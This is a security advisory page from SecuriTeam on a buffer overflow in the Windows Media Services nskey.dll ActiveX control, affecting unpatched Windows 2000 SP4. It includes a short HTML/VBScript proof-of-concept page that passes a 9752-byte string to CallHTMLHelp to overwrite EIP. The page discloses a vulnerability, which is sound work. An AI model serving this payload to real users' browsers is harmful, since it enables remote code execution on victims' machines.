SecuriTeam - Windows Media Services (nskey.dll) CallHTMLHelp Buffer Overflow

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A vulnerability in Windows Media Service's ActiveX allows attackers that can trick a user to visit a certain page to execute arbitrary code by overflowing an internal buffer used by the product, this vulnerability affects Windows 2000 Service Pack 4 without any patches as well as Windows 2000 Datacener.

Credit:
The information has been provided by Jeremy Brown.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable Systems:
* Windows 2000 with Service Pack 4
* Windows 2000 Datacener

Immune Systems:
* Windows 2000 with Service Pack 4 and Updated with the latest patches or newer

A buffer overflow vulnerability is possible by passing one of Windows Media Service's ActiveX control that is marked safe for scripting/initialize. Any buffer passed to CallHTMLHelp that is at least 9752 bytes long will overwrite the EIP.

PoC exploit:
<html><body>

<object id=target classid=clsid:2646205B-878C-11D1-B07C-0000C040BCDB></object>
<script language=vbscript>

arg1=String(9752, "A")
target.CallHTMLHelp arg1

</script>
</body></html>

blog comments powered by Disqus

	Novell Zenworks Software Packaging LaunchHelp.dll Code Execution Vulnerability
	Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability
	Microsoft Internet Explorer swapNode Handling Code Execution Vulnerability
	Microsoft Internet Explorer Select Element Insufficient Type Checking Code Execution Vulnerability
	Internet Explorer Select Element Cache Code Execution Vulnerability
	Microsoft Office Graph DataFormat Signed Index Code Execution Vulnerability
	Microsoft Office Excel Conditional Expression Ptg Type Confusion Vulnerability
	Microsoft Internet Explorer Protected Mode Bypass Vulnerability
	Microsoft Internet Explorer 9 STYLE Object Parsing Code Execution Vulnerability
	Microsoft Internet Explorer XSLT SetViewSlave Code Execution Vulnerability
	CA Total Defense Suite Gateway Security Malformed HTTP Packet Code Execution Vulnerability
	HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Code Execution Vulnerability
	TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability
	Symantec Veritas Storage Foundation vxsvc.exe Unicode Code Execution Vulnerability
	HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability